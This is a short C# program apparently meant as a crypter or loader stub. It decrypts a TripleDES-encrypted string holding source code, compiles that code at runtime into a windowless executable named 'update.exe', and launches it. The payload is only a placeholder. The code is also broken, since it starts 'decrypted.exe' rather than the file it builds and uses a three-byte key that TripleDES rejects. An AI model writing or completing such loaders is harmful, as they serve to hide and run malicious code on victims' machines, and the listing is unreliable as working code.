using Microsoft.CSharp;
using System;
using System.CodeDom.Compiler;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Text;

namespace ConsoleApp4
{
    class Program
    {
        static void Main(string[] args)
        {


            string decrypted = Decrypt("ENCRYPTION");
            CSharpCodeProvider codeProvider = new CSharpCodeProvider();
            ICodeCompiler icc = codeProvider.CreateCompiler();


            System.CodeDom.Compiler.CompilerParameters parameters = new CompilerParameters();

            string[] ReferenceThings = new string[]
            {
                "Microsoft.CSharp.dll",
                "Microsoft.VisualBasic.dll",
                "System.dll",
                "System.Core.dll",
                "System.Data.dll",
                "System.Data.DataSetExtensions.dll",
                "System.Deployment.dll",
                "System.Net.Http.dll",
                "System.Windows.Forms.dll",
                "System.Xml.dll",
                "System.Xml.Linq.dll"

            };

            parameters.ReferencedAssemblies.AddRange(ReferenceThings);
            parameters.GenerateExecutable = true;
            parameters.OutputAssembly = "update.exe";
            parameters.CompilerOptions = "/optimize+ /platform:x86 /target:winexe /unsafe";
            CompilerResults results = icc.CompileAssemblyFromSource(parameters, decrypted);
            Process.Start("decrypted.exe");
        }

        public static string Decrypt(string cipherString)
        {
            byte[] keyArray;
            //get the byte code of the string

            byte[] toEncryptArray = Convert.FromBase64String(cipherString);

            //Get your key from config file to open the lock!
            string key = "OOF";


            //if hashing was not implemented get the byte code of the key
            keyArray = UTF8Encoding.UTF8.GetBytes(key);


            TripleDESCryptoServiceProvider tdes = new TripleDESCryptoServiceProvider();
            //set the secret key for the tripleDES algorithm
            tdes.Key = keyArray;
            //mode of operation. there are other 4 modes.
            //We choose ECB(Electronic code Book)

            tdes.Mode = CipherMode.ECB;
            //padding mode(if any extra byte added)
            tdes.Padding = PaddingMode.PKCS7;

            ICryptoTransform cTransform = tdes.CreateDecryptor();
            byte[] resultArray = cTransform.TransformFinalBlock(
                                 toEncryptArray, 0, toEncryptArray.Length);
            //Release resources held by TripleDes Encryptor
            tdes.Clear();
            //return the Clear decrypted TEXT
            return UTF8Encoding.UTF8.GetString(resultArray);
        }

    }

}